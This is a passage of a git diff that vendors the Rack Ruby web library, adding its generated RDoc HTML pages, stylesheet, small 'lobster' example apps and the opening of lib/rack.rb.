+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html new file mode 100644 index 00000000..8b274d68 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html @@ -0,0 +1,109 @@ + + + + + + File: scgi.rb + + + + + + + + + + +
+

scgi.rb

+ + + + + + + + + +
Path:lib/rack/handler/scgi.rb +
Last Update:Fri Jan 25 09:35:38 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ scgi   + stringio   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html new file mode 100644 index 00000000..8e0daa8f --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html @@ -0,0 +1,108 @@ + + + + + + File: swiftiplied_mongrel.rb + + + + + + + + + + +
+

swiftiplied_mongrel.rb

+ + + + + + + + + +
Path:lib/rack/handler/swiftiplied_mongrel.rb +
Last Update:Sun Sep 07 22:14:00 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ swiftcore/swiftiplied_mongrel   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html new file mode 100644 index 00000000..a0b7ecb6 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html @@ -0,0 +1,108 @@ + + + + + + File: thin.rb + + + + + + + + + + +
+

thin.rb

+ + + + + + + + + +
Path:lib/rack/handler/thin.rb +
Last Update:Fri Dec 19 15:22:03 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ thin   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html new file mode 100644 index 00000000..aa846949 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html @@ -0,0 +1,109 @@ + + + + + + File: webrick.rb + + + + + + + + + + +
+

webrick.rb

+ + + + + + + + + +
Path:lib/rack/handler/webrick.rb +
Last Update:Mon Jan 05 13:11:08 +0100 2009
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ webrick   + stringio   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html new file mode 100644 index 00000000..00904c2d --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler_rb.html @@ -0,0 +1,101 @@ + + + + + + File: handler.rb + + + + + + + + + + +
+

handler.rb

+ + + + + + + + + +
Path:lib/rack/handler.rb +
Last Update:Fri Dec 19 15:22:03 +0100 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/head_rb.html b/vendor/plugins/rack/doc/files/lib/rack/head_rb.html new file mode 100644 index 00000000..35a58609 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/head_rb.html @@ -0,0 +1,101 @@ + + + + + + File: head.rb + + + + + + + + + + +
+

head.rb

+ + + + + + + + + +
Path:lib/rack/head.rb +
Last Update:Sun Oct 19 22:52:37 +0200 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html b/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html new file mode 100644 index 00000000..703a8c26 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/lint_rb.html @@ -0,0 +1,101 @@ + + + + + + File: lint.rb + + + + + + + + + + +
+

lint.rb

+ + + + + + + + + +
Path:lib/rack/lint.rb +
Last Update:Mon Jan 05 15:05:25 +0100 2009
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html b/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html new file mode 100644 index 00000000..9af61489 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html @@ -0,0 +1,110 @@ + + + + + + File: lobster.rb + + + + + + + + + + +
+

lobster.rb

+ + + + + + + + + +
Path:lib/rack/lobster.rb +
Last Update:Fri Sep 05 21:33:18 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ zlib   + rack/request   + rack/response   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html b/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html new file mode 100644 index 00000000..2e4ce70e --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html @@ -0,0 +1,101 @@ + + + + + + File: methodoverride.rb + + + + + + + + + + +
+

methodoverride.rb

+ + + + + + + + + +
Path:lib/rack/methodoverride.rb +
Last Update:Tue Jan 06 12:35:41 +0100 2009
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html b/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html new file mode 100644 index 00000000..1218f563 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/mime_rb.html @@ -0,0 +1,101 @@ + + + + + + File: mime.rb + + + + + + + + + + +
+

mime.rb

+ + + + + + + + + +
Path:lib/rack/mime.rb +
Last Update:Sun Sep 07 17:49:32 +0200 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html b/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html new file mode 100644 index 00000000..abd8616c --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/mock_rb.html @@ -0,0 +1,112 @@ + + + + + + File: mock.rb + + + + + + + + + + +
+

mock.rb

+ + + + + + + + + +
Path:lib/rack/mock.rb +
Last Update:Mon Jan 05 15:07:17 +0100 2009
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ uri   + stringio   + rack/lint   + rack/utils   + rack/response   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html b/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html new file mode 100644 index 00000000..a68136b5 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html @@ -0,0 +1,108 @@ + + + + + + File: recursive.rb + + + + + + + + + + +
+

recursive.rb

+ + + + + + + + + +
Path:lib/rack/recursive.rb +
Last Update:Wed May 16 16:48:45 +0200 2007
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ uri   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html b/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html new file mode 100644 index 00000000..f2fbd813 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html @@ -0,0 +1,108 @@ + + + + + + File: reloader.rb + + + + + + + + + + +
+

reloader.rb

+ + + + + + + + + +
Path:lib/rack/reloader.rb +
Last Update:Sun Jul 06 14:18:29 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ thread   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/request_rb.html b/vendor/plugins/rack/doc/files/lib/rack/request_rb.html new file mode 100644 index 00000000..aa0af309 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/request_rb.html @@ -0,0 +1,108 @@ + + + + + + File: request.rb + + + + + + + + + + +
+

request.rb

+ + + + + + + + + +
Path:lib/rack/request.rb +
Last Update:Fri Jan 09 17:26:45 +0100 2009
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ rack/utils   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/response_rb.html b/vendor/plugins/rack/doc/files/lib/rack/response_rb.html new file mode 100644 index 00000000..1bb3e42f --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/response_rb.html @@ -0,0 +1,109 @@ + + + + + + File: response.rb + + + + + + + + + + +
+

response.rb

+ + + + + + + + + +
Path:lib/rack/response.rb +
Last Update:Wed Sep 10 18:56:32 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ rack/request   + rack/utils   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html new file mode 100644 index 00000000..957c5d79 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html @@ -0,0 +1,108 @@ + + + + + + File: cookie.rb + + + + + + + + + + +
+

cookie.rb

+ + + + + + + + + +
Path:lib/rack/session/cookie.rb +
Last Update:Tue Sep 30 19:18:09 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ openssl   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html new file mode 100644 index 00000000..e6d7792a --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html @@ -0,0 +1,115 @@ + + + + + + File: memcache.rb + + + + + + + + + + +
+

memcache.rb

+ + + + + + + + + +
Path:lib/rack/session/memcache.rb +
Last Update:Fri Nov 28 16:01:13 +0100 2008
+
+ + +
+ + + +
+ +
+

+AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net +

+ +
+ +
+

Required files

+ +
+ rack/session/abstract/id   + memcache   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html b/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html new file mode 100644 index 00000000..2c7a2358 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html @@ -0,0 +1,120 @@ + + + + + + File: pool.rb + + + + + + + + + + +
+

pool.rb

+ + + + + + + + + +
Path:lib/rack/session/pool.rb +
Last Update:Fri Nov 28 16:01:13 +0100 2008
+
+ + +
+ + + +
+ +
+

+AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net +THANKS: +

+
+  apeiros, for session id generation, expiry setup, and threadiness
+  sergio, threadiness and bugreps
+
+ +
+ +
+

Required files

+ +
+ rack/session/abstract/id   + thread   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html b/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html new file mode 100644 index 00000000..360a4bb4 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html @@ -0,0 +1,110 @@ + + + + + + File: showexceptions.rb + + + + + + + + + + +
+

showexceptions.rb

+ + + + + + + + + +
Path:lib/rack/showexceptions.rb +
Last Update:Fri Sep 05 21:33:18 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ ostruct   + erb   + rack/request   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html b/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html new file mode 100644 index 00000000..1b2327ee --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html @@ -0,0 +1,110 @@ + + + + + + File: showstatus.rb + + + + + + + + + + +
+

showstatus.rb

+ + + + + + + + + +
Path:lib/rack/showstatus.rb +
Last Update:Tue Dec 30 12:19:30 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ erb   + rack/request   + rack/utils   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/static_rb.html b/vendor/plugins/rack/doc/files/lib/rack/static_rb.html new file mode 100644 index 00000000..fa4cd3df --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/static_rb.html @@ -0,0 +1,101 @@ + + + + + + File: static.rb + + + + + + + + + + +
+

static.rb

+ + + + + + + + + +
Path:lib/rack/static.rb +
Last Update:Sun Mar 11 14:56:56 +0100 2007
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html b/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html new file mode 100644 index 00000000..5d1e7917 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html @@ -0,0 +1,101 @@ + + + + + + File: urlmap.rb + + + + + + + + + + +
+

urlmap.rb

+ + + + + + + + + +
Path:lib/rack/urlmap.rb +
Last Update:Mon Jan 05 14:38:16 +0100 2009
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html b/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html new file mode 100644 index 00000000..c8cb4745 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/utils_rb.html @@ -0,0 +1,109 @@ + + + + + + File: utils.rb + + + + + + + + + + +
+

utils.rb

+ + + + + + + + + +
Path:lib/rack/utils.rb +
Last Update:Tue Dec 30 12:19:30 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ set   + tempfile   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack_rb.html b/vendor/plugins/rack/doc/files/lib/rack_rb.html new file mode 100644 index 00000000..559c00c6 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack_rb.html @@ -0,0 +1,113 @@ + + + + + + File: rack.rb + + + + + + + + + + +
+

rack.rb

+ + + + + + + + + +
Path:lib/rack.rb +
Last Update:Fri Jan 09 17:26:45 +0100 2009
+
+ + +
+ + + +
+ +
+

+Copyright (C) 2007, 2008, 2009 Christian Neukirchen +<purl.org/net/chneukirchen> +

+

+Rack is freely distributable under +the terms of an MIT-style license. See COPYING or www.opensource.org/licenses/mit-license.php. +

+ +
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_class_index.html b/vendor/plugins/rack/doc/fr_class_index.html new file mode 100644 index 00000000..217f34ee --- /dev/null +++ b/vendor/plugins/rack/doc/fr_class_index.html @@ -0,0 +1,82 @@ + + + + + + + + Classes + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_file_index.html b/vendor/plugins/rack/doc/fr_file_index.html new file mode 100644 index 00000000..ddb3e36e --- /dev/null +++ b/vendor/plugins/rack/doc/fr_file_index.html @@ -0,0 +1,71 @@ + + + + + + + + Files + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/fr_method_index.html b/vendor/plugins/rack/doc/fr_method_index.html new file mode 100644 index 00000000..ff785192 --- /dev/null +++ b/vendor/plugins/rack/doc/fr_method_index.html @@ -0,0 +1,236 @@ + + + + + + + + Methods + + + + + +
+

Methods

+
+ << (Rack::CommonLogger)
+ << (Rack::Cascade)
+ =~ (Rack::MockResponse)
+ GET (Rack::Request)
+ POST (Rack::Request)
+ [] (Rack::MockResponse)
+ [] (Rack::Request)
+ [] (Rack::Utils::HeaderHash)
+ [] (Rack::Response)
+ []= (Rack::Utils::HeaderHash)
+ []= (Rack::Response)
+ []= (Rack::Request)
+ _call (Rack::CommonLogger)
+ _call (Rack::File)
+ _call (Rack::Directory)
+ accept_encoding (Rack::Request)
+ add (Rack::Cascade)
+ add_extension (Rack::Auth::OpenID)
+ app (Rack::Builder)
+ basic? (Rack::Auth::Basic::Request)
+ body (Rack::Request)
+ build_query (Rack::Utils)
+ call (Rack::ShowStatus)
+ call (Rack::ConditionalGet)
+ call (Rack::CommonLogger)
+ call (Rack::Auth::Basic)
+ call (Rack::Head)
+ call (Rack::Session::Cookie)
+ call (Rack::ContentLength)
+ call (Rack::Forwarder)
+ call (Rack::ShowExceptions)
+ call (Rack::Cascade)
+ call (Rack::Auth::OpenID)
+ call (Rack::URLMap)
+ call (Rack::Adapter::Camping)
+ call (Rack)
+ call (Rack::Directory)
+ call (Rack::Builder)
+ call (Rack::Deflater)
+ call (Rack::Recursive)
+ call (Rack::Static)
+ call (Rack::File)
+ call (Rack::Reloader)
+ call (Rack::MethodOverride)
+ call (L2)
+ check (Rack::Auth::OpenID)
+ check_forbidden (Rack::Directory)
+ client_error? (Rack::Response::Helpers)
+ close (Rack::CommonLogger)
+ close (Rack::Response)
+ content_charset (Rack::Request)
+ content_length (Rack::Request)
+ content_length (Rack::Response::Helpers)
+ content_type (Rack::Response::Helpers)
+ content_type (Rack::Request)
+ context (Rack::Utils::Context)
+ cookies (Rack::Request)
+ credentials (Rack::Auth::Basic::Request)
+ deflate (Rack::Deflater)
+ delete (Rack::MockRequest)
+ delete (Rack::Utils::HeaderHash)
+ delete? (Rack::Request)
+ delete_cookie (Rack::Response)
+ each (Rack::Response)
+ each (Rack::CommonLogger)
+ each (Rack::Directory)
+ each (Rack::File)
+ empty? (Rack::Response::Helpers)
+ empty? (Rack::Response)
+ entity_not_found (Rack::Directory)
+ env_for (Rack::MockRequest)
+ escape (Rack::Utils)
+ escape_html (Rack::Utils)
+ extension_namespaces (Rack::Auth::OpenID)
+ filesize_format (Rack::Directory)
+ finish (Rack::Auth::OpenID)
+ finish (Rack::Response)
+ flush (Rack::MockRequest::FatalWarner)
+ forbidden (Rack::File)
+ forbidden? (Rack::Response::Helpers)
+ form_data? (Rack::Request)
+ fullpath (Rack::Request)
+ get (Rack::MockRequest)
+ get (Rack::Handler)
+ get? (Rack::Request)
+ gzip (Rack::Deflater)
+ has_key? (Rack::Utils::HeaderHash)
+ head? (Rack::Request)
+ host (Rack::Request)
+ include (Rack::Recursive)
+ include? (Rack::Cascade)
+ include? (Rack::Response::Helpers)
+ include? (Rack::Utils::HeaderHash)
+ informational? (Rack::Response::Helpers)
+ inspect (Rack::Utils::Context)
+ invalid? (Rack::Response::Helpers)
+ ip (Rack::Request)
+ key? (Rack::Utils::HeaderHash)
+ list_directory (Rack::Directory)
+ list_path (Rack::Directory)
+ location (Rack::Response::Helpers)
+ map (Rack::Builder)
+ match (Rack::MockResponse)
+ media_type (Rack::Request)
+ media_type_params (Rack::Request)
+ member? (Rack::Utils::HeaderHash)
+ merge (Rack::Utils::HeaderHash)
+ merge! (Rack::Utils::HeaderHash)
+ mime_type (Rack::Mime)
+ new (Rack::MockResponse)
+ new (Rack::Reloader)
+ new (Rack::Lint)
+ new (Rack::ShowExceptions)
+ new (Rack::MockRequest)
+ new (Rack::Utils::HeaderHash)
+ new (Rack::Utils::Context)
+ new (Rack::Request)
+ new (Rack::ContentLength)
+ new (Rack::File)
+ new (Rack::ForwardRequest)
+ new (Rack::Response)
+ new (Rack::Adapter::Camping)
+ new (Rack::Handler::Mongrel)
+ new (Rack::Session::Memcache)
+ new (Rack::Builder)
+ new (Rack::Session::Cookie)
+ new (Rack::Cascade)
+ new (Rack::Session::Pool)
+ new (Rack::Deflater)
+ new (Rack::Auth::OpenID)
+ new (Rack::Head)
+ new (Rack::CommonLogger)
+ new (Rack::Forwarder)
+ new (Rack::ConditionalGet)
+ new (Rack::Directory)
+ new (Rack::ShowStatus)
+ new (Rack::URLMap)
+ new (Rack::MethodOverride)
+ new (Rack::Recursive)
+ new (Rack::Static)
+ new (Rack::Handler::SCGI)
+ new (Rack::Handler::WEBrick)
+ not_found (Rack::File)
+ not_found? (Rack::Response::Helpers)
+ ok? (Rack::Response::Helpers)
+ params (Rack::Request)
+ parse_multipart (Rack::Utils::Multipart)
+ parse_query (Rack::Utils)
+ path_info (Rack::Request)
+ path_info= (Rack::Request)
+ port (Rack::Request)
+ post (Rack::MockRequest)
+ post? (Rack::Request)
+ pretty (Rack::ShowExceptions)
+ pretty_print (Rack::Utils::Context)
+ process (Rack::Handler::Mongrel)
+ process_request (Rack::Handler::SCGI)
+ put (Rack::MockRequest)
+ put? (Rack::Request)
+ puts (Rack::MockRequest::FatalWarner)
+ query_string (Rack::Request)
+ redirect? (Rack::Response::Helpers)
+ redirection? (Rack::Response::Helpers)
+ referer (Rack::Request)
+ referrer (Rack::Request)
+ register (Rack::Handler)
+ release (Rack)
+ reload! (Rack::Reloader)
+ request (Rack::MockRequest)
+ request_method (Rack::Request)
+ run (Rack::Handler::CGI)
+ run (Rack::Builder)
+ run (Rack::Handler::Mongrel)
+ run (Rack::Handler::FastCGI)
+ run (Rack::Handler::WEBrick)
+ run (Rack::Handler::LSWS)
+ run (Rack::Handler::Thin)
+ run (Rack::Handler::SCGI)
+ scheme (Rack::Request)
+ script_name (Rack::Request)
+ script_name= (Rack::Request)
+ select_best_encoding (Rack::Utils)
+ send_body (Rack::Handler::LSWS)
+ send_body (Rack::Handler::FastCGI)
+ send_body (Rack::Handler::CGI)
+ send_headers (Rack::Handler::FastCGI)
+ send_headers (Rack::Handler::CGI)
+ send_headers (Rack::Handler::LSWS)
+ serve (Rack::Handler::FastCGI)
+ serve (Rack::Handler::LSWS)
+ serve (Rack::Handler::CGI)
+ server_error? (Rack::Response::Helpers)
+ service (Rack::Handler::WEBrick)
+ serving (Rack::File)
+ set_cookie (Rack::Response)
+ stat (Rack::Directory)
+ string (Rack::MockRequest::FatalWarner)
+ successful? (Rack::Response::Helpers)
+ to_a (Rack::Response)
+ to_app (Rack::Builder)
+ to_hash (Rack::Utils::HeaderHash)
+ unescape (Rack::Utils)
+ url (Rack::Request)
+ use (Rack::Builder)
+ username (Rack::Auth::Basic::Request)
+ values_at (Rack::Request)
+ version (Rack)
+ write (Rack::MockRequest::FatalWarner)
+ write (Rack::Response)
+ xhr? (Rack::Request)
+
+
+ + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/index.html b/vendor/plugins/rack/doc/index.html new file mode 100644 index 00000000..4ece7807 --- /dev/null +++ b/vendor/plugins/rack/doc/index.html @@ -0,0 +1,24 @@ + + + + + + + Rack Documentation + + + + + + + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/rdoc-style.css b/vendor/plugins/rack/doc/rdoc-style.css new file mode 100644 index 00000000..44c7b3d1 --- /dev/null +++ b/vendor/plugins/rack/doc/rdoc-style.css @@ -0,0 +1,208 @@ + +body { + font-family: Verdana,Arial,Helvetica,sans-serif; + font-size: 90%; + margin: 0; + margin-left: 40px; + padding: 0; + background: white; +} + +h1,h2,h3,h4 { margin: 0; color: #efefef; background: transparent; } +h1 { font-size: 150%; } +h2,h3,h4 { margin-top: 1em; } + +a { background: #eef; color: #039; text-decoration: none; } +a:hover { background: #039; color: #eef; } + +/* Override the base stylesheet's Anchor inside a table cell */ +td > a { + background: transparent; + color: #039; + text-decoration: none; +} + +/* and inside a section title */ +.section-title > a { + background: transparent; + color: #eee; + text-decoration: none; +} + +/* === Structural elements =================================== */ + +div#index { + margin: 0; + margin-left: -40px; + padding: 0; + font-size: 90%; +} + + +div#index a { + margin-left: 0.7em; +} + +div#index .section-bar { + margin-left: 0px; + padding-left: 0.7em; + background: #ccc; + font-size: small; +} + + +div#classHeader, div#fileHeader { + width: auto; + color: white; + padding: 0.5em 1.5em 0.5em 1.5em; + margin: 0; + margin-left: -40px; + border-bottom: 3px solid #006; +} + +div#classHeader a, div#fileHeader a { + background: inherit; + color: white; +} + +div#classHeader td, div#fileHeader td { + background: inherit; + color: white; +} + + +div#fileHeader { + background: #057; +} + +div#classHeader { + background: #048; +} + + +.class-name-in-header { + font-size: 180%; + font-weight: bold; +} + + +div#bodyContent { + padding: 0 1.5em 0 1.5em; +} + +div#description { + padding: 0.5em 1.5em; + background: #efefef; + border: 1px dotted #999; +} + +div#description h1,h2,h3,h4,h5,h6 { + color: #125;; + background: transparent; +} + +div#validator-badges { + text-align: center; +} +div#validator-badges img { border: 0; } + +div#copyright { + color: #333; + background: #efefef; + font: 0.75em sans-serif; + margin-top: 5em; + margin-bottom: 0; + padding: 0.5em 2em; +} + + +/* === Classes =================================== */ + +table.header-table { + color: white; + font-size: small; +} + +.type-note { + font-size: small; + color: #DEDEDE; +} + +.xxsection-bar { + background: #eee; + color: #333; + padding: 3px; +} + +.section-bar { + color: #333; + border-bottom: 1px solid #999; + margin-left: -20px; +} + + +.section-title { + background: #79a; + color: #eee; + padding: 3px; + margin-top: 2em; + margin-left: -30px; + border: 1px solid #999; +} + +.top-aligned-row { vertical-align: top } +.bottom-aligned-row { vertical-align: bottom } + +/* --- Context section classes ----------------------- */ + +.context-row { } +.context-item-name { font-family: monospace; font-weight: bold; color: black; } +.context-item-value { font-size: small; color: #448; } +.context-item-desc { color: #333; padding-left: 2em; } + +/* --- Method classes -------------------------- */ +.method-detail { + background: #efefef; + padding: 0; + margin-top: 0.5em; + margin-bottom: 1em; + border: 1px dotted #ccc; +} +.method-heading { + color: black; + background: #ccc; + border-bottom: 1px solid #666; + padding: 0.2em 0.5em 0 0.5em; +} +.method-signature { color: black; background: inherit; } +.method-name { font-weight: bold; } +.method-args { font-style: italic; } +.method-description { padding: 0 0.5em 0 0.5em; } + +/* --- Source code sections -------------------- */ + +a.source-toggle { font-size: 90%; } +div.method-source-code { + background: #262626; + color: #ffdead; + margin: 1em; + padding: 0.5em; + border: 1px dashed #999; + overflow: hidden; +} + +div.method-source-code pre { color: #ffdead; overflow: hidden; } + +/* --- Ruby keyword styles --------------------- */ + +.standalone-code { background: #221111; color: #ffdead; overflow: hidden; } + +.ruby-constant { color: #7fffd4; background: transparent; } +.ruby-keyword { color: #00ffff; background: transparent; } +.ruby-ivar { color: #eedd82; background: transparent; } +.ruby-operator { color: #00ffee; background: transparent; } +.ruby-identifier { color: #ffdead; background: transparent; } +.ruby-node { color: #ffa07a; background: transparent; } +.ruby-comment { color: #b22222; font-weight: bold; background: transparent; } +.ruby-regexp { color: #ffa07a; background: transparent; } +.ruby-value { color: #7fffd4; background: transparent; } \ No newline at end of file diff --git a/vendor/plugins/rack/example/lobster.ru b/vendor/plugins/rack/example/lobster.ru new file mode 100644 index 00000000..cc7ffcae --- /dev/null +++ b/vendor/plugins/rack/example/lobster.ru @@ -0,0 +1,4 @@ +require 'rack/lobster' + +use Rack::ShowExceptions +run Rack::Lobster.new diff --git a/vendor/plugins/rack/example/protectedlobster.rb b/vendor/plugins/rack/example/protectedlobster.rb new file mode 100644 index 00000000..108b9d05 --- /dev/null +++ b/vendor/plugins/rack/example/protectedlobster.rb @@ -0,0 +1,14 @@ +require 'rack' +require 'rack/lobster' + +lobster = Rack::Lobster.new + +protected_lobster = Rack::Auth::Basic.new(lobster) do |username, password| + 'secret' == password +end + +protected_lobster.realm = 'Lobster 2.0' + +pretty_protected_lobster = Rack::ShowStatus.new(Rack::ShowExceptions.new(protected_lobster)) + +Rack::Handler::WEBrick.run pretty_protected_lobster, :Port => 9292 diff --git a/vendor/plugins/rack/example/protectedlobster.ru b/vendor/plugins/rack/example/protectedlobster.ru new file mode 100644 index 00000000..29a9de35 --- /dev/null +++ b/vendor/plugins/rack/example/protectedlobster.ru @@ -0,0 +1,8 @@ +require 'rack/lobster' + +use Rack::ShowExceptions +use Rack::Auth::Basic do |username, password| + 'secret' == password +end + +run Rack::Lobster.new diff --git a/vendor/plugins/rack/lib/rack.rb b/vendor/plugins/rack/lib/rack.rb new file mode 100644 index 00000000..63106383 --- /dev/null +++ b/vendor/plugins/rack/lib/rack.rb @@ -0,0 +1,86 @@ +# Copyright (C) 2007, 2008, 2009 Christian Neukirchen +# +# Rack is freely distributable under the terms of an MIT-style license. +# See COPYING or http://www.opensource.org/licenses/mit-license.php. + +$: << File.expand_path(File.dirname(__FILE__)) + + +# The Rack main module, serving as a namespace for all core Rack +# modules and classes. +# +# All modules meant for use in your application are autoloaded here, +# so it should be enough just to require rack.rb in your code. + +module Rack + # The Rack protocol version number implemented. + VERSION = [0,1] + + # Return the Rack protocol version as a dotted string. + def self.version + VERSION.join(".") + end + + # Return the Rack release as a dotted string. + def self.release + "0.9" + end + + autoload :Builder, "rack/builder" + autoload :Cascade, "rack/cascade" + autoload :CommonLogger, 